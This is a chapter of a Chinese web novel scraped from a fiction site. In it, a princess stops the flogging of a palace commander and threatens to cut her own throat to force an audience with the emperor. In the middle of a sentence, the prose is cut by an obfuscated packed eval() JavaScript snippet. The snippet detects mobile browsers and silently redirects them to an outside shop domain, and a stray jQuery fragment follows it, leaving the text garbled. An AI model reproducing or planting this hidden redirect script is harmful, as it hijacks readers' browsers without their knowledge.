文趣网 > 其他小说 > 小叔又争又抢 > 49. 庭杖
    “哗哗哗”,水车不知疲倦地转着,天边的橘金色正在缓缓沉落,边缘晕出一层接近粉紫的光。

    几声短促的鸟鸣掠过寝殿窗前,啾啾两声,又散入渐浓的黄昏里。

    殷沁梨睁开了眼睛。

    她躺了片刻,才撑着床沿缓缓坐起来,赤脚踩在温凉的白玉地板上,来到妆台前。

    铜镜里映出她的模样,睡觉时穿得薄衫松松地搭在身上,肩头的皮肤干干净净,那枚如针尖大小的红色印记已经不见了。

    “解开了。”她喃喃道。

    她的记忆停在昨晚墨衍之回来的那个节点上,她只记得他的状态好像有些奇怪。

    后面的事情,一点都想不起来了。

    蛊是怎么解得?

    他又怎么没等着我醒过来?

    殷沁梨坐在床边等了一会儿,没人来。

    “锦棠?”

    没有人应,她摇了一下床边的铃铛,这是串联着整间房间的机关,铃响时,外面的铃铛也会跟着响。

    不多时,就有脚步声传来。

    进来的却是青檀。

    殷沁梨的目光立刻收紧,青檀不应该在废弃宫殿那边吗?她还想过去来着。

    “你怎么在这里?”

    青檀“咚”的一声跪在了地上,“陛下下午的时候就带走了所有的宫女,说她们应该交由太医局照顾。”

    “她们都在太医局?”

    “是。”

    “太医局那边的人怎么说?”

    “太医局那边的人说不是中毒......”青檀欲言又止。

    “墨衍之呢?他什么都没说?”

    “墨指挥使......”青檀停顿了一下,,声音低了下去:“陛下叫走了墨指挥使......他......”

    “嗖”,一道细微的破空声从窗外传来。

    殷沁梨侧头,寒蝉正无声地立在窗外的暮色里,她的手指指向一个方向,她又转头看向支支吾吾的青檀,直觉告诉她出事了。

    寒蝉指的方向,好像是曦和殿正殿的大门。

    “你的意思,是让本宫去正殿?”

    寒蝉点了点头。

    殷沁梨起身向着正殿走去,青檀连忙起身跟在后面,“殿下!”

    “你到底在隐瞒什么!”

    还没等到青檀回答,一阵吵嚷声就传进了殷沁梨的耳朵,声音不是很清晰,殷沁梨加快了脚步,声音逐渐清晰起来。

    “各位姐姐们!求求了!”

    “让我去见见公主殿下!”

    是寒鸦的声音。

    “殿下还没有醒!”

    “我都听到铃铛的声音了!你们真的要见死不救吗!”

    “若是平常,我绝不会来求!”

    “可是你们明明知道昨天晚上......”

    殷沁梨走进正殿,截断了他的话:“昨天晚上怎么了?”

    寒鸦愣了一瞬,抬眼看她,他的眼眶是红的,额角有细密的汗,衣服也都已经被汗浸湿了,像是跑了一路。

    “昨天晚上......昨天晚上......”

    他支支吾吾说不出来,“咚”地一声跪在了地上,“公主殿下!求您救救主子!他现在的情况真的挨不了二十大板!他会没命的!”

    “咚、咚、咚”,寒鸦一下一下磕在白玉地板上,第三下,地板上已经留下了一小块血迹。

    “你起来好好说话,你说清楚,本宫才能救他。”

    寒鸦停下来,撑起身子抬起头,他的额角破了一道口子,血正顺着眉骨往下淌,他也不擦,只是紧紧盯着殷沁梨。

    “父皇?”

    “是。”

    “为什么?”

    “因为尚食局的宫女,陛下将宫女全都带去了太医局,太医说这些宫女不是中毒,陛下就召了主子去问话,说他办事不力、制造恐慌,还……”

    “还什么?”

    寒鸦咬牙,喉结上下滚了一下:“不知道是谁在陛下面前递了话,说主子欺骗公主殿下,有辱皇家脸面。”

    “陛下大怒,要打主子二十大板。”寒鸦的嗓音绷得像一根快要断的弦,“寒鸦求您了殿下!主子的身子熬不住的!他真的会没命的!”

    “公主殿下!”

    声声犹如泣血。

    “昨天晚上到底发生了什么?”

    寒鸦低着头,紧紧抿着嘴唇,殷沁梨的目光掠过青檀、朝云、锦棠和听澜,她们四个也全都低着头,不肯直视殷沁梨。

    时间不等人,殷沁梨平稳住心绪,“带路。”

    她披上外袍,大步往外面走。

    “在哪里行刑?”

    “太医局的正门口。”

    殷沁梨攥紧了袖中的拳,指节抵着掌心,疼得发麻。

    她明白殷崇琰的意思。

    在太医局门口当着那些尚食局宫女的面打,让她们亲眼看着、亲耳听着,堵上她们的嘴,也让宫中所有人都信墨衍之是在欺骗她们。

    他在粉饰太平。

    太医局正门外已经站满了人。

    墨衍之从廊道那头走来的时候,正是最美黄昏时,两个天机卫一左一右跟在他身后半步,步伐整齐。

    天机卫的统领章豫和冯忠已经等在那里了,章豫穿着深色的窄袍,腰间的玉牌在昏暗的光线下微微泛白。

    他微微颔首,“墨指挥使,请吧。”

    一个天机卫走上前,把墨衍之的外袍揭下来,叠好,放在旁边的石阶上。

    墨衍之由着他动作粗鲁,脊背笔直,不发一言。

    他知道,这是皇帝的警告。

    “陛下口谕,玄影司指挥使墨衍之,办事不力,散播谣言以致宫中人心惶惶。着即廷杖二十,以儆效尤。”

    冯忠的声音拉得很高,像是要把每一个字都钉在在场所有人的耳朵里。

    周围的人全都神态紧绷,无人敢窃窃私语,全都紧张地看着,宫里接连死人本就人心惶惶,传出是毒时,宫里的人都松了一口气,毕竟死者全都死相惨状,极其恐怖。现如今,所有人的心都再次提了起来。

    章豫抬手,行刑的天机卫走上前,棍杖粗如手臂,杖头包着铁皮。

    第一杖落下来,墨衍之的脊背瞬间紧绷,一道深红色的印痕沿着肩胛骨的位置迅速浮现,他紧紧扣着身下的行刑凳,指节泛白,咬紧牙关,没吭出一声。

    “一。”

    “停下!”

    第二杖已经举起来了,章豫像是没有听见,那杖在空中停顿了一瞬,最终重重落在了墨衍之的背部。

    “咳”,墨衍之呛出了一口鲜血,他的手垂了下来,像是没有了任何气力。

    章豫露出了解气的笑容,“二。”

    “嗖——”

    一道箭矢破空而来,带着撕裂空气的尖啸,直奔章豫。

    章豫侧身一闪,箭矢擦着他的肩头飞过,“噔”地一声钉进身后那根正要落下的杖头里,箭尾还在嗡嗡颤动着。

    章豫恶狠狠地转头,看向箭来的方向。墨衍之用尽力气抬起头,就看到不远处,殷沁梨正站在一只石磨上,他的瞳孔颤了一下,想要说什么,可是刚张开一点嘴,喉咙牵扯着胸前、背部,传来一阵剧痛,他又呕出一口鲜血。

    殷沁梨将手中的弓随

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726187|207127||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    意扔在地上,跳下了石磨,向着墨衍之走来。

    章豫挤出了一个生硬的笑容,“公主殿下怎么来了?”

    冯忠也连忙迎了上来,惊恐地说道:“公主殿下!”

    殷沁梨的目光越过所有人,直直落在了墨衍之身上,他脊背上那道深红色的印痕正在慢慢变深,边缘已经开始渗出一层薄薄的、暗色的血珠。他的脸色苍白,嘴唇淡得几乎没有颜色,露出的上半身也看不到一点血色。

    地上是一摊血迹。

    他的状态,根本不像只挨了两棍该有的样子。

    昨天晚上,到底发生了什么?

    她收回目光,敛下情绪,环顾四周,“本宫来领罚。”

    冯忠吓得身形都颤了一下,“公主殿下这是说得什么话!要挨罚的人是墨指挥使!”

    章豫站在一旁,看好戏。

    “冯公公,本宫问你,为什么打墨指挥使?”

    “墨指挥使散播谣言。”

    殷沁梨不依不饶:“散播了什么谣言?”

    冯忠支吾了一下,像是在斟酌用词,最后也只是道:“公主殿下!您快离开这里吧!不要脏了您的眼睛!”

    “不就是说尚食局的宫女中毒了吗?”殷沁梨的声音拔高了,轻蔑地扫了一眼冯忠,“有什么说不得?”

    “哎呦!”冯忠猛拍大腿,“公主殿下!”

    “是本宫说得,也是本宫让墨指挥使将尚食局的宫女全都带到了那座废弃的宫殿里。”

    周围的人群立马小声议论了起来。

    冯忠都要急死了,“慎言!殿下慎言!”

    “既然惩处的是散播谣言的人,那打得自然该是本宫。”

    殷沁梨的目光落在墨衍之身上,他已经从行刑凳上撑起了一点,像是想要开口。

    殷沁梨的手放在了她的外袍上,“本宫需要脱去外袍吗?”

    “公主殿下!”冯忠跪了下来,“慎言啊!慎言!”

    “不要。”墨衍之艰难地挤出这两个字,“跟......咳......”

    墨衍之再度呛出血。

    “天机使,”殷沁梨收回目光,“愣着干什么呢?”

    章豫装傻道:“公主殿下这是什么意思?”

    “不是喜欢打人吗?”殷沁梨目光灼灼,“打本宫,只要你敢。”

    章豫笑了,“臣自是不敢。”

    “本宫谅你也不敢。”

    “只是臣劝公主殿下不要多管闲事。”

    “混蛋东西!也敢在本宫面前指手画脚!”

    殷沁梨看向冯忠,“本宫要见父皇。”

    冯忠毛都炸了,“公主殿下这不是儿戏!您赶紧回宫吧!”

    殷沁梨趁所有人都没有反应过来的时候,手已经按在了章豫腰间的刀柄上,“噌”地一声拔了出来,刀锋一转,抵在了自己的颈侧,刀刃紧贴着她颈部的皮肤,泛起一层细白的冷光。

    这一下,周围的人全都跪了下来!

    落日余晖在刀身的反射下,投射到殷沁梨的眼睛里,仿佛在她的眼睛里点了火,灼热、盛大。

    “公主殿下这是做什么!”

    “快放下来!那是刀!”

    “如若父皇如此生气,那本宫便血洒当场,以平父皇之气,以正皇室脸面!”

    字字铿锵,刀随着殷沁梨说的话,割破了她的皮肤,她的颈侧出现了一道细长的血痕。

    冯忠声音都变调了,“公主殿下!老奴这就去回禀陛下,您快放下手中的刀!”

    殷沁梨不为所动,“一炷香,若是冯公公没有回来,烦请让皇后娘娘来替本宫收尸。”